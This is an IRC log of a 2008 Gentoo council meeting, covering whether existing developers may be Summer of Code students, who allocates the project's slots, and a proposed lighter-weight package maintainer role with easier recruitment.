+20:07 -!- Flameeyes [n=flame@amarok/helper/flameeyes] has joined #gentoo-council
+20:07 -!- mode/#gentoo-council [+o Flameeyes] by ChanServ
+20:07 <    fmccor > I think I saw that somewhere, too.
+20:07 <kingtaco|w > yeah, it was a joke
+20:07 <    fmccor > They forgot that it's dark in the morning, now.
+20:07 <    TFKyle > boo, people should just away with DST completely :)
+20:07  * Flameeye notes to himself: never write stuff down on the calendar _and don't look at it_
+20:08 <NeddySeago > Flameeyes, write that on the calendar :)
+20:08 <     Jokey@> should set up jabber announcements really ;)
+20:08 <      amne@> so, can we assume the rest isn't here until in an hour?
+20:08 <   KillerX > so we got to wait for another hour?
+20:08 <    fmccor > TFKyle, I agree, or work on standard time +1/2 all year
+20:08 <   KillerX > damn its late here :(
+20:08 <     Jokey@> KillerX: looks like it
+20:08 -!- lu_zero [n=lu_zero@gentoo/developer/lu-zero] has joined #gentoo-council
+20:08 -!- mode/#gentoo-council [+o lu_zero] by ChanServ
+20:08 <   lu_zero@> hi
+20:08 < Flameeyes@> NeddySeagoon, I could write it on a whiteboard, and then forget about the whiteboard
+20:09 <   Halcyon > amne: actually, they should have been here an hour ago.  Its 1600 on the east coast.
+20:09 <      amne@> Halcyon: gah... i really hate time zones
+20:09 < Flameeyes@> 20UTC was ten minutes ago
+20:09 < Flameeyes@> [give or take a minute]
+20:09 <   lu_zero@> ^^
+20:09 -!- rane [n=rane@gentoo/developer/rane] has joined #gentoo-council
+20:09 < Flameeyes@> amne, so we can set next meetings on a stardate basis?
+20:10 <   KillerX > seconds from epoch
+20:10 <    vapier@> no, stars move
+20:10 <       ulm > hm, shouldn't people be one hour earlier if their local is on DST now?
+20:10 <   Halcyon > Thu Mar 13 16:10:01 EDT 2008
+20:10 < Flameeyes@> if so we have to decide whether to use TOS stardate or TNG stardate
+20:10 < Flameeyes@> ulm, DST means +1
+20:10 <      amne@> i'm for klingon time
+20:10 <   Halcyon > Flameeyes: which makes his statement true :)
+20:10 -!- vln- [n=v1n@unaffiliated/vln] has joined #gentoo-council
+20:10 <      amne@> IOW, it's always a good time to die
+20:11 < Flameeyes@> ah okay now I got what he meant, thought it as "in their timezone" :P
+20:11 <       ulm > Flameeyes: yes, that's why they should be early if the meeting is scheduled in UTC
+20:11 <    fmccor > true
+20:11 <Betelgeuse@> yeah they should have been early
+20:12 < Flameeyes@> so who is in dst?
+20:12 <    vapier@> ive been prowling for an hour
+20:12 <    vapier@> cause the topic said 1500 :p
+20:12 -!- shpaq [i=shpaq@gentoo/user/shpaq] has joined #gentoo-council
+20:12 -!- arachnist [i=arachnis@paludis/monkey/arachnist] has joined #gentoo-council
+20:12 <Betelgeuse@> So we are missing dberkholz
+20:12 < Flameeyes@> if google calendar wasn't seriously broken with konqueror I'd suggest we add a global gentoo calendar in there
+20:13 < Flameeyes@> and schedule stuff like meetings (not limited to council but also team meetings) and lastrites and similar...
+20:13 <   lu_zero@> Flameeyes I'd miss that
+20:13 <     Jokey@> Betelgeuse: most important our agenda guy :(
+20:13 < Flameeyes@> lu_zero, set it up to warn you via SMS
+20:13 < Flameeyes@> then you won't miss it :D
+20:13 <   lu_zero@> probably having an auto-im notification would do as well
+20:13 < Flameeyes@> lu_zero, hmm propose them a googletalk notification, I suppose that could be done
+20:13 <      amne@> date -d "2000 UTC"
+20:13 <      amne@> that one usually does the trick for me
+20:13 < Flameeyes@> they have sms notifications
+20:14 <Betelgeuse@> kingtaco|laptop: Do you or any other American have Donnie's phone number?
+20:14 <   Halcyon > Or....you could just remember to come :)
+20:15 <Betelgeuse@> Well imho should just get started.
+20:15 <Betelgeuse@> And find from the mailing list thread on what to talk about :d
+20:15 <      amne@> ++
+20:16 -!- antesenamon [n=antesena@host-89-230-10-219.bilgoraj.mm.pl] has joined #gentoo-council
+20:16 <antesenamo > Hi
+20:17 <kingtaco|w > Betelgeuse, nope, I don't...
+20:17 <kingtaco|w > Betelgeuse, solar might though
+20:17 <kingtaco|w > or ramereth
+20:17  * ferringb does
+20:17 < Flameeyes@> we should do like we did with last council and exchange contact information
+20:17 <kingtaco|w > ramereth almost certainly does
+20:18 <      amne@> so, let's just start without agenda and dberkholz?
+20:18 -!- lazy_bum [i=lazy_bum@chello081018206212.chello.pl] has joined #gentoo-council
+20:19 <Betelgeuse@> First thing I see is amd64 and their big bug list.
+20:19 < Flameeyes@> amne, I'd say so, I can't find an agenda on his devspace either
+20:19 <Betelgeuse@> But is there anything to discuss really?
+20:19 <Betelgeuse@> Thye need more people period
+20:19 < Flameeyes@> Betelgeuse, a bonus of 2 litres of beer for who closes most bug during the month of April?
+20:19 -!- spb [n=stephen@freenode/developer/spb] has joined #gentoo-council
+20:20 <  ferringb > sms'd donnie, so we'll see if he pops up.
+20:20 <Betelgeuse@> kingtaco|work: Any thoughts?
+20:20 <   lu_zero@> hm
+20:21 <kingtaco|w > Betelgeuse, ?
+20:21 <     Jokey@> what about status updates?
+20:21 -!- cla [i=cla@gentoo/developer/cla] has joined #gentoo-council
+20:21 <kingtaco|w > doing nothing but keywording sucks ass
+20:21 <kingtaco|w > hard to keep people interested
+20:21 <     Jokey@> vapier: you have the open task about slacker arches ;)
+20:22 <kingtaco|w > I gave everyone permission to keyword their own packages(outside of system) back when we were trying 2007.1
+20:22 <Betelgeuse@> kingtaco|work: Shouldn't you remove people who don't keyword anything from http://www.gentoo.org/proj/en/base/amd64/
+20:22 <kingtaco|w > I haven't rescended that
+20:22 <     Jokey@> besides GLEPs had no update so no discussion required either
+20:22 <Betelgeuse@> kingtaco|work: To at least make it reflect that you need more people
+20:22 <kingtaco|w > Betelgeuse, you mean fire a bunch of people, probably....
+20:23 <    vapier@> Jokey: yeah, ive done much in Gentoo ... too busy with work
+20:23 <Betelgeuse@> kingtaco|work: yes
+20:23 <    vapier@> i've got three things to get done this weekend and that's one of them
+20:23 <kingtaco|w > Betelgeuse, tbh, it's pretty low on the priority list
+20:23 <    vapier@> gcc-4.3.0, baselayout/openrc, slacker arches
+20:23 <kingtaco|w > not to mention I'm on leave
+20:23 <   Halcyon > vapier: I was going to ask you about gcc-4.3 this weekend actually :)  Let me know if you need help with anything.
+20:23 <kingtaco|w > (not that anyone respects that)
+20:23 <   lu_zero@> vapier about gcc-4.3.0 tell me how to help
+20:24  *  lu_zero has gcc-4.3.0 built already on the ps3
+20:24 <    vapier@> mostly testing
+20:24 <    vapier@> when i stick it in, start using it and get tracker bugs going
+20:24 -!- KillerX [n=anant@gentoo/developer/KillerX] has quit []
+20:25 <   lu_zero@> ok
+20:25 -!- ryker [n=ryker@76.16.114.60] has quit [Read error: 110 (Connection timed out)]
+20:25 <     Jokey@> what about we shift meeting one week and send people a notice to refresh the topics they promised to send input on?
+20:26 < Flameeyes@> Jokey, I have one topic myself
+20:26 <     Jokey@> okies
+20:26 <Betelgeuse@> Jokey: Also should talk about the 'package maintainer' post proposition
+20:26 <    vapier@> my topic wont be ready for one week ... has to let devs dust it out
+20:27 <     Jokey@> then we should formally start
+20:27 < Flameeyes@> about gentoo developers taking part in SoC as students
+20:27 <      amne@> Jokey: which topics are you refering to? i'm sure we have some we can discuss now (and if necessary still next week)
+20:27 <     Jokey@> anyone willing to take chair? :)
+20:27 < Flameeyes@> Jokey, you just volunteered yourself :)
+20:27 <      amne@> Jokey++
+20:27 <      amne@> :-P
+20:27 <Betelgeuse@> Jokey: I thought we already started :D
+20:27 <     Jokey@> #1
+20:27 <     Jokey@> roll call then
+20:28 <     Jokey@> all little councils show up please :)
+20:28  *     amne stands up
+20:28 <Betelgeuse@> \o_
+20:28 <   lu_zero@>  o/
+20:29  * Flameeye is here
+20:30 < Flameeyes@> vapier has fleed?
+20:30 <     Jokey@> looks like it ;)
+20:30 <    vapier@> ?
+20:30 < Flameeyes@> ah! we've seen you!
+20:30 <      amne@> ok, done with role call... dberkholz gets an MIA tag
+20:30 <     Jokey@> right
+20:30 < Flameeyes@> (this is going to be the less serious council meeting ever, by this pace)
+20:31 < Flameeyes@> can we start with an easy one?
+20:31 <     Jokey@> so, let's get topics first
+20:31 < Flameeyes@> okay one topic I can add is the one I proposed for soc: should we allow gentoo developers to take part in soc as _gentoo's_ students?
+20:31 <      amne@> amd64, new developer thingie between staff and full developer come to my mind
+20:32 <      amne@> Flameeyes: totally unprepared for that, have seen the thread on -dev, but not read it as it wasn't mentioned in the council meeting thread (or i've not seen it)
+20:32 -!- KillerX_ [n=anant@mnit.ac.in] has joined #gentoo-council
+20:33 <   lu_zero@> I'd leave it as up to the devs decide
+20:33 <Betelgeuse@> I would rather have existing devs doing quality stuff instead of new people doing crap.
+20:33 <      amne@> Betelgeuse: good point
+20:34 < Flameeyes@> amne, I tried to post it on gentoo-council but I'm having trouble to post there :/
+20:34 < Flameeyes@> Betelgeuse, I'd prefer new people doing something decent myself
+20:34 <      amne@> also a question: how many devs did we recruit from SoC so far per year?
+20:34 <      amne@> (probably answered on dev, not through yet)
+20:34 <Betelgeuse@> amne: I don't remember anyone going through us.
+20:34 < Flameeyes@> two last year
+20:34 < Flameeyes@> ah wait other way around
+20:34 < Flameeyes@> hm
+20:34 <     Jokey@> araujo at least
+20:34 <  KillerX_ > I'm one from the year before that
+20:34 < Flameeyes@> one, I think?
+20:34 <Betelgeuse@> KillerX_: Yeah from that we did get.
+20:34 < Flameeyes@> pioto too
+20:35 <Betelgeuse@> that was the year before
+20:35 <Betelgeuse@> I think
+20:35 < Flameeyes@> 2006
+20:35 <Betelgeuse@> yeah
+20:35 < Flameeyes@> 2007 was mostly a failure for non-devs
+20:35 <  KillerX_ > Yep, 2 from 2006
+20:35 <      amne@> ok, that's not so much.
+20:35 <Betelgeuse@> 2007 was failure from organizing pov too
+20:35 < Flameeyes@> can we forget about 2007 even existing? :)
+20:36 <   lu_zero@> right
+20:36 < Flameeyes@> anant, not sure if he was already around before 2006 soc though
+20:36 <      amne@> from my POV, the two main points it can do are a) providing new devs b) having existing devs do some work and get paid, so they have more time to do something for gentoo instead of earning money by mowing their neighbours lawn
+20:36 <   lu_zero@> still would be nicer avoid such bad esperience again
+20:36 < Flameeyes@> mdisney?
+20:36 <      amne@> for me both a) and b) sounds useful for gentoo
+20:36 <  KillerX_ > Flameeyes: I am anant :-p
+20:36 < Flameeyes@> KillerX_, ah... you confuse me! :P
+20:36 <   lu_zero@> ^^;
+20:37 <     Jokey@> heh
+20:37 <   lu_zero@> still I'd rather have more dev doing mentoring tasks
+20:37 <   lu_zero@> and make sure the slot we got doesn't get wasted
+20:38 <      amne@> Flameeyes: about your mail wrt how much money you get, i think SoC isn't that much focused on people with a regular jobs but rather students who do it as a summer job. and in that case working for gentoo could be a good alterntive to a "normal" job
+20:39 < dberkholz@> ah crap, my bad. i suck.
+20:39 <   lu_zero@> dberkholz !
+20:39 <     Jokey@> heh
+20:39 <   lu_zero@> you are ALIVE!
+20:39 <      amne@> oi dberkholz
+20:39 <     Jokey@> the slacker arrived :D
+20:39  *  lu_zero hugs dberkholz 
+20:39 < dberkholz@> i'm still a slacker.
+20:39 <      amne@> dberkholz: not if you brought an agenda :-)
+20:40 -!- akroplas [n=akroplas@gentoo/user/akroplas] has joined #gentoo-council
+20:41 -!- KillerX_ is now known as KillerX
+20:41 <      amne@> so, any more opinions/ideas/suggestions/questions wrt to that?
+20:42 < Flameeyes@> lu_zero, you scare me sometimes :P
+20:42 < Flameeyes@> amne, sincerely I'd rather leave up the slots for people wanting evne to try something new
+20:42 -!- lazy_bum [i=lazy_bum@chello081018206212.chello.pl] has left #gentoo-council []
+20:42 < Flameeyes@> it's not like there are no other projects than gentoo to contribute to
+20:42 <   lu_zero@> Flameeyes just sometimes?
+20:42 <      amne@> Flameeyes: is the number of slots limited?
+20:42 <     Jokey@> amne: yep
+20:43 <   KillerX > amne: yep
+20:43 < Flameeyes@> amne, yes, every organisation gets a number of slots
+20:43 < Flameeyes@> if there was unlimited choice of people, then I'd welcome everybody
+20:43 <     Jokey@> as we've been lucky last times, we had a bunch of slots
+20:43 <     Jokey@> not sure if it happens again but let's cross fingers :)
+20:43 < Flameeyes@> Jokey, 2007 less than 2006 though
+20:43 <   KillerX > They usually give distros more slots since we're counted as 'umbrella' organizations
+20:43 <      amne@> in that case, they should be sorted by some criteria, that should include how useful it is, chance of succes etc. i could imagine that being a potential new dev could play role here as _one_ point
+20:43 < Flameeyes@> and 2007 was quite a failure
+20:44 <   lu_zero@> Flameeyes right
+20:44 <     Jokey@> amne: proposals are voted on so you have a top list
+20:44 <   KillerX > yes that might impact our slots for 2008
+20:44 < Flameeyes@> if they are going to allocate slots based upon last year, we might not be as lucky
+20:44 <   lu_zero@> and I still wonder how not to end that way again
+20:44 <Betelgeuse@> Flameeyes: Why wouldn't existing devs be doing something new?
+20:44 <      amne@> Jokey: voted how? by us (being gentoo, not council)?
+20:44 <Betelgeuse@> Flameeyes: You aren't even allowed to just work on existing stuff.
+20:44 < Flameeyes@> Betelgeuse, because the project is just the same,
+20:45 <   KillerX > amne: All registered mentors can vote.
+20:45 <   KillerX > amne: Via the GSoC web interface (requires a google account)
+20:45 < Flameeyes@> Betelgeuse, I just would prefer different projects at that point
+20:45 <   KillerX > amne: Org. administrator approves mentors. Not sure who that is this year.
+20:45 < Flameeyes@> KillerX, even non-mentors but registered as admins, at least in 2006
+20:45 <Betelgeuse@> KillerX: We could easily make it go by council.
+20:45 <Betelgeuse@> KillerX: Just have some people vote based on the council decision.
+20:45 <      amne@> KillerX: ah. in that case i'd say, if the mentors think it's better to have projects from new guys than existing devs, it's up to them
+20:45 < Flameeyes@> KillerX, I think antarus or tsunam
+20:46 <   KillerX > amne: Yes, that about sums up the situation.
+20:46 < Flameeyes@> talking about which, we only have six people volunteering as mentors
+20:46 < Flameeyes@> it would be nice to have some more
+20:46 <      amne@> KillerX: works for me ;-)
+20:46 < Flameeyes@> and some more ideas for projects
+20:46 <     Jokey@> Flameeyes: add me in again, I forgot to send a mail your way ;)
+20:46 <   KillerX > But like Betelgeuse suggests, if we re-route the proposals to council for voting, the dev community might be able to have some impact on which ones are selected.
+20:47 < Flameeyes@> Jokey, err just commit it to the index.xml file :) no need to ask me :P
+20:47 <     Jokey@> KillerX: only problem is that proposals are not to be public if I recall it correctly
+20:47 < Flameeyes@> KillerX, well the easiest way is to make the council all register as admins... so we can see the proposals as they come
+20:47 <     Jokey@> only summaries are
+20:47  * Flameeye looks at the rest of the council
+20:47 <   KillerX > Jokey: Yes. We could discuss them on -core though?
+20:48 <   KillerX > Ah yes, Flameeyes' idea is much better
+20:48 <   lu_zero@> who is going to be the admin today?
+20:48 < Flameeyes@> KillerX, I don't think that's a good idea either, as there will be students reading there
+20:48 < Flameeyes@> [on -core I mean]
+20:48 <Betelgeuse@> Flameeyes: Weren't you against devs being students :D
+20:48 < Flameeyes@> lu_zero, well The admin as I said it's either antarus or tsunam afaics
+20:48 <   KillerX > you're right, registering council members as admins would be best
+20:48 < Flameeyes@> Betelgeuse, you just said you all aren't, so I assume I lost that battle :)
+20:49 < Flameeyes@> and yeah this is one more reason why I'd rather not have gentoo students being gentoo developers already
+20:49 <Betelgeuse@> I don't know if I can register to the admin side as I will be applying as a student.
+20:49 <    vapier@> so only have free members
+20:49 <     Jokey@> Betelgeuse: you can be admin or student for a project but not both
+20:49 -!- spb [n=stephen@freenode/developer/spb] has left #gentoo-council []
+20:49 <   KillerX > Betelgeuse: You can. As long as you're not marked mentor. I don't know if it's a bug or not, but I didn't complain :-D
+20:49 <   KillerX > admin != student
+20:50 <Betelgeuse@> KillerX: good
+20:50 <   KillerX > er, admin != mentor I mean
+20:50 <   KillerX > :-/
+20:50 < dberkholz@> http://dev.gentoo.org/~dberkholz/20080313-summary.txt -- anyone like it?
+20:50 < Flameeyes@> Betelgeuse, student for which project? ;)
+20:50 <     Jokey@> dberkholz +1 :D
+20:51 <Betelgeuse@> Flameeyes: I haven't decided projects to apply for.
+20:51 <Betelgeuse@> Flameeyes: Orgs yes.
+20:51  *    Jokey /dev/null's his half-summary
+20:51 < Flameeyes@> Betelgeuse, orgs is what I meant
+20:51 <Betelgeuse@> Flameeyes: I am pretty sure I can get in via my Free/Java contacts.
+20:51 <   KillerX > you can't mentor and student at the same time even for different projects
+20:51 < Flameeyes@> Betelgeuse, so I suppose it's not gentoo ;) then there is no conflict of interest :P
+20:52 <Betelgeuse@> Flameeyes: I can of course apply for Gentoo too.
+20:52 <Betelgeuse@> Flameeyes: Bad experience last year thoug.
+20:52 <   KillerX > Umm, Google might object, you should check on that.
+20:52 <   KillerX > Since you'll be able to rate your own proposal in that case ;)
+20:53 <Betelgeuse@> KillerX: Just need to leave Gentoo out then.
+20:53 <   KillerX > Yes. You can be admin for Gentoo as long as you apply to a different org as a student.
+20:53 < Flameeyes@> either way, even if it's just Betelgeuse, I suppose the rest of the council can just as well join as admin for soc
+20:54 <     Jokey@> ack
+20:54 <Betelgeuse@> So should we vote on who decides who gets our slots?
+20:54 <Betelgeuse@> All admins or just council.
+20:54 <      amne@> Betelgeuse: imho admins
+20:54 < dberkholz@> the admins already have experience doing it, seems like they'd be valuable
+20:54 < Flameeyes@> I'd sincerely say admins, with council breaking up ties if anything
+20:54 <   KillerX > Coming back to the issue, I think all proposals should be rated based purely on their merit, not on the basis of who the proposer is.
+20:55 < dberkholz@> isn't that part of the merit? the likelihood of the person applying to finish the task based on his/her experience and knowledge?
+20:55 <   KillerX > That would form a part of the merit, yes. But it's also possible for a non-gentoo-dev to have that kind of experience and knowledge.
+20:56 < dberkholz@> sure, i agree
+20:56 <     Jokey@> like ex-portage devs f.ex ;)
+20:57 <     Jokey@> oh wait, jstubbs became dev again, didn't he?
+20:57 <   KillerX > I remember the gnome folks had a similar debate, let me see if I can find out where that ended
+20:59 < Flameeyes@> debian has one too
+21:00 <   KillerX > "Since an important goal of the Summer of Code for us is to get new contributors, we'll try to avoid accepting students who already participated in a GNOME-related SoC/WSOP project or who is already a GNOME contributor (thus, this does not apply to students who participated in SoC, but in a totally unrelated to GNOME project). However, this is not a strict rule: if a student in such a case proposes a really great project, we'll accept his/
+21:01 <   KillerX > that's from the gnome wiki
+21:02 < dberkholz@> so basically affirmative action for non-contributors
+21:03 <   KillerX > something like that
+21:08 <      amne@> anyone else got something to add?
+21:08 < Flameeyes@> I'll just leave the decision up to you guys
+21:08 <   lu_zero@> not much
+21:09 < dberkholz@> seems like a reasonable way to go to me
+21:09 < dberkholz@> what are the admins doing right now?
+21:09 < dberkholz@> do we even need to make a decision on this?
+21:09 < Flameeyes@> dberkholz, waiting to see if we're accepted I suppose
+21:09 < dberkholz@> i mean irt the above policy, are they doing that or something else
+21:10 < Flameeyes@> I think right now we're all making our own choices
+21:10 <      amne@> dberkholz: you mean gnome's policy?
+21:10 < Flameeyes@> myself, I won't mentor students that are already devs
+21:10 < Flameeyes@> antarus said he will
+21:10 < Flameeyes@> not sure the others
+21:10 < dberkholz@> amne: no i mean our soc admins right now
+21:10 <      amne@> dberkholz: ah, yeah
+21:11 <      amne@> i'm for the admins doing their stuff
+21:14 <      amne@> ok...
+21:14 <      amne@> since no one really responds, could we just make a vote on anything?
+21:15  * Betelgeu votes for world peace
+21:15 <      amne@> like "we don't see a need to do something from council side and will our SoC people let do what they think makes sense"?
+21:15 <      amne@> Betelgeuse: hehe
+21:15 <      amne@> if someone has a better think (on topic) to vote on, feel free to propose it
+21:16 < dberkholz@> it would be nice if any of the admins were around to say their policy
+21:17 < Flameeyes@> lu_zero
+21:17 < Flameeyes@> Jokey?
+21:17 < Flameeyes@> jmbsvicetto?
+21:17  * dberkhol  checks -dev
+21:18 <     Jokey@> I'm not admin (yet)
+21:18 <     Jokey@> I have been co-mentor last two years only
+21:18 < Flameeyes@> Jokey, I thought you were interesting to be :P
+21:18 <     Jokey@> yup;)
+21:18 < Flameeyes@> [noone is admin right now anyway as we haven't been accepted yet]
+21:20 -!- ulm [n=ulm@gentoo/developer/ulm] has quit [Remote closed the connection]
+21:20 -!- ulm [n=ulm@gentoo/developer/ulm] has joined #gentoo-council
+21:21 <   lu_zero@> hm?
+21:22 <Betelgeuse@> let's move on
+21:22 <Betelgeuse@> Or this meeting will be quite long
+21:22 <      amne@> yeah, kind of slowish today
+21:22 <     Jokey@> ack :)
+21:22 <      amne@> please folks, smoke less weed and abuse more amphetamines next time ;-)
+21:23  *  lu_zero has been killed by bureaucracy this morning
+21:23 -!- antesenamon [n=antesena@host-89-230-10-219.bilgoraj.mm.pl] has quit [Remote closed the connection]
+21:23 <   lu_zero@> I crumbled asleep at about 5.40PM
+21:24 <   KillerX > +1, it's getting late here (3 am already)
+21:24 -!- antesenamon [n=antesena@host-89-230-10-219.bilgoraj.mm.pl] has joined #gentoo-council
+21:25  *    Jokey looks at next topic
+21:25 <      amne@> if we wait til the next council meeting to finish this, would it be too late for SoC?
+21:25 <     Jokey@> I think so,
+21:25 < dberkholz@> we don't need to wait for scheduled meetings
+21:25 < dberkholz@> we can have an interim one, or just vote on the -council list
+21:26 <   KillerX > amne: Yep, student projects would have been accepted by then.
+21:26 <   lu_zero@> what is left to be discussed?
+21:26 <     Jokey@> we should keep the option to have a quick meeting based on what we hear from soc
+21:26 <      amne@> KillerX: gah
+21:26 <      amne@> dberkholz: ok, let's do it like that
+21:26 <Betelgeuse@> Well didn't we decided to a) register as admins b) devs can be students c) admins decide which ones are approved
+21:26 <Betelgeuse@> ^Does anyone object to the above
+21:26 <   KillerX > sounds good
+21:26 <   KillerX > mentors can, of course, refuse to mentor devs who apply as students (what Flameeyes will do :-D_
+21:27 <Betelgeuse@> yes
+21:27 <      amne@> Betelgeuse: not really, but having some more details from our admins can't hurt
+21:27 <   lu_zero@> I'm ok on having the council registered as admin
+21:28 <     Jokey@> +1 with lu_zero
+21:28 < dberkholz@> i'm not sure about council members being extra admins, but i don't have any strong position on that. the others are fine
+21:28 <   lu_zero@> I'd leave up to the single mentor to decide what to do with the slot
+21:28 <   KillerX > I must say reading the logs is a lot more fun that actually attending a council meeting :-p
+21:29 <   lu_zero@> still I care much about having more visibility on the process
+21:29 -!- genone_ [n=genone@gentoo/developer/genone] has quit [Read error: 104 (Connection reset by peer)]
+21:29 <   lu_zero@> the blog aggregation and stuff is fine in theory but should be enforced a bit more
+21:30 < Flameeyes@> we should really find more developers to sponsor projects and be ready to act as mentors
+21:30 < Flameeyes@> but we're coming late by now actually
+21:32 < dberkholz@> could someone briefly sum up the reason for having council people be soc admins?
+21:32 < dberkholz@> i tried reading the log but it didn't stand out
+21:32 <   lu_zero@> Flameeyes I forgot to put my proposal about the gentooificator
+21:32 -!- Philantrop_ [n=Philantr@gentoo/developer/philantrop] has joined #gentoo-council
+21:32 -!- Philantrop_ [n=Philantr@gentoo/developer/philantrop] has quit [Excess Flood]
+21:32 -!- Philantrop [n=Philantr@gentoo/developer/philantrop] has quit [Read error: 104 (Connection reset by peer)]
+21:32 <   lu_zero@> now that you make me think
+21:32 -!- Philantrop_ [n=Philantr@gentoo/developer/philantrop] has joined #gentoo-council
+21:32 -!- Philantrop_ [n=Philantr@gentoo/developer/philantrop] has quit [Excess Flood]
+21:32 -!- Philantrop_ [n=Philantr@gentoo/developer/philantrop] has joined #gentoo-council
+21:32 -!- Philantrop_ [n=Philantr@gentoo/developer/philantrop] has quit [Excess Flood]
+21:32 -!- Philantrop_ [n=Philantr@gentoo/developer/philantrop] has joined #gentoo-council
+21:33 -!- Philantrop_ [n=Philantr@gentoo/developer/philantrop] has quit [Excess Flood]
+21:33 -!- Philantrop_ [n=Philantr@gentoo/developer/philantrop] has joined #gentoo-council
+21:33 -!- Philantrop_ [n=Philantr@gentoo/developer/philantrop] has quit [Excess Flood]
+21:33 -!- Philantrop_ [n=Philantr@gentoo/developer/philantrop] has joined #gentoo-council
+21:33 -!- Philantrop_ [n=Philantr@gentoo/developer/philantrop] has quit [Excess Flood]
+21:33 -!- Philantrop_ [n=Philantr@gentoo/developer/philantrop] has joined #gentoo-council
+21:33 -!- Philantrop_ [n=Philantr@gentoo/developer/philantrop] has quit [Excess Flood]
+21:34 <     Jokey@> he should fix his client ;)
+21:34 -!- Philantrop [n=Philantr@gentoo/developer/philantrop] has joined #gentoo-council
+21:34 < Flameeyes@> konversation, for sure...
+21:34 -!- Philantrop [n=Philantr@gentoo/developer/philantrop] has quit [Excess Flood]
+21:34 < Flameeyes@> [and too many channels, I suppose, never happened to me]
+21:34 -!- Philantrop [n=Philantr@gentoo/developer/philantrop] has joined #gentoo-council
+21:34 < Flameeyes@> dberkholz, well, in my view to break up ties
+21:35 < dberkholz@> ok, so council members will not be "active" admins, just tiebreakers?
+21:35 < Flameeyes@> well unless they want to be active admins/mentors I suppose :)
+21:35  * Flameeye will be an active admin/mentor
+21:36  *  lu_zero too
+21:39 <      amne@> well. so we just have people being admins/mentors and that's it?
+21:39 <      amne@> would work for me
+21:39 -!- mpagano [n=mpagano@gentoo/developer/mpagano] has joined #gentoo-council
+21:39 -!- ftpd [i=ftpd@gentoo/ricer/ftpd] has joined #gentoo-council
+21:40  *    Jokey drinks some coke
+21:40  * Flameeye looks angrily at Jokey 
+21:43 <     Jokey@> Flameeyes: want some, too? sugar-free ;)
+21:43 <     Jokey@> anyway
+21:43 <      amne@> time to move on to the next topic?
+21:43 < Flameeyes@> can't :/
+21:43 < Flameeyes@> amne, I'd say so, next toping would be?
+21:43 <   KillerX > package maintainer
+21:43 <   KillerX > let's finish that so I can go to sleep :-p
+21:43 <   lu_zero@> ok
+21:43 <     Jokey@> right, go ahead KillerX
+21:43 <   KillerX > to begin with, I'd like to find out what devs think a devs responsibility is
+21:43 <   johnjay > I'm not a developer anymore but can I put in my 2 cents here?
+21:43 <   KillerX > if all we do is write ebuilds and maintain them, then as folks pointed out in the mailing list, streamlining the recruitment process and adverstising proxy-maintainers more is the right way to go
+21:43 < Flameeyes@> myself I'd say the first and most important would be"don't hinder others" (users using the package, developers working with the package)
+21:43 <   KillerX > But, I think we can split devs into two categories: those who just write+maintain ebuilds, and others who do more wide-ranging stuff
+21:44 <   KillerX > the former don't need to give the staff quiz, and need access rights only to small portions of the repository
+21:44 <   lu_zero@> KillerX I'd like to know what's so horrible about the current recruitment process
+21:44 < dberkholz@> johnjay: put it in whenever you want, as long as it's on-topic =)
+21:44 <    vapier@> you'll have to be more specific
+21:44 <    vapier@> one package can be depended on by a lot more
+21:45 <   KillerX > lu_zero: It's too formal, and a lengthy procedure for someone who just wants to maintain 2 or 3 packages in the tree
+21:45 <   lu_zero@> KillerX no
+21:45 <   lu_zero@> I want something more detailed
+21:45 < Flameeyes@> KillerX, if one just wants to maintan 2 or 3 packages, I'd say proxy maintainership is the way to go
+21:45 <   lu_zero@> and to the point
+21:45 <    vapier@> also, there's the issue of global scope ... one bad ebuild can do mad things
+21:46 <   lu_zero@> I mean how many question we feed to the possible dev?
+21:46 <   KillerX > Giving proxy-maintainers commit access, and making the position "formal" will go a long way in attracting more contributors
+21:46 <   johnjay > When I was a developer, my goal was to make sure the pkg worked, and that I would always be ontop of the pkg news wrt to security, dev etc ... all things not necessarily only related to writing/maintaining the ebuild
+21:46 <   lu_zero@> how formal is the process by itself?
+21:47 < Flameeyes@> I sincerely think that as long as we don't have safeguards like staged trees, a way to sign singular ebuilds/manifests entries, a global gentoo keychain etc etc etc we should keep access to the repository limited to those who _does_ take the lengthy process
+21:48 <   johnjay > Also, is there some sort of digest lint's nowadays? Such that the committed Manifest is checked against the central repo?
+21:49 < Flameeyes@> johnjay, what do you mean?
+21:49 <   KillerX > vapier: The guy will still have to do the ebuild quiz. He can skip the bearucracy
+21:49 <   KillerX > (however that is spelt)
+21:50 <   johnjay > Flameeyes: sometimes when I emerge world, I will get a digest failed error, even though the file was fully received etc ... and this stops the entire process. Often times it's that the developer forgot to regenerate the digest or something along the lines...
+21:50 <Betelgeuse@> KillerX: What is the extra stuff besides doing the quiz?
+21:50 <Betelgeuse@> KillerX: Doing the quiz is the time taking part.
+21:51 < Flameeyes@> johnjay, uhhh the digest is handled altogether by repoman
+21:51 <   johnjay > Perhaps and I'm just throwing an idea out there, but a post-commit hook which would check the Manifest against the files on the central repo?
+21:51 < Flameeyes@> if a developer is committing without repoman I'd probably kick him myself ;)
+21:51 <   johnjay > Heh
+21:51 <Betelgeuse@> johnjay: Or just against the committed files...
+21:51 < Flameeyes@> other causes can be a) upstream changed the distfile (stupid upstream)
+21:51 <   johnjay > Well it does happen, often I find myself doing a --digest just to get through the process
+21:51 <Betelgeuse@> but OT
+21:51 < Flameeyes@> b) the infamous Attic/ problems with $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/council/meeting-logs/20080313.txt,v 1.1 2008/03/14 07:14:13 dberkholz Exp $
+21:52 <   lu_zero@> I think we should go back to the main topic
+21:52 <   KillerX > hmm, alright
+21:52 < Flameeyes@> c) $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/council/meeting-logs/20080313.txt,v 1.1 2008/03/14 07:14:13 dberkholz Exp $ in patches
+21:52 <   johnjay > Err sorry if I went off topic
+21:52 < Flameeyes@> yeah Betelgeuse and lu_zero are right :P we can discuss that in a separate forum
+21:52  *  johnjay goes away
+21:52 <   KillerX > Betelgeuse: the staff quiz?
+21:52 < Flameeyes@> KillerX, the staff quiz is just for staffer
+21:52 <   KillerX > damn I have a horrible lag :(
+21:52 < Flameeyes@> the two quizzes are the ebuild quiz and the end of mentoring quiz
+21:53 < Flameeyes@> [for ebuild developers, that is]
+21:53 <   KillerX > Flameeyes: All devs have to write the staff quiz.
+21:53 < Flameeyes@> KillerX, did it change in the last year?
+21:53 < Flameeyes@> because I came back as a dev less than an year ago and I only did ebuild and eom quizzes
+21:53 <   lu_zero@> how many questions it is?
+21:53 <   KillerX > Well that was the case when I was recruited...
+21:53 < Flameeyes@> 40?
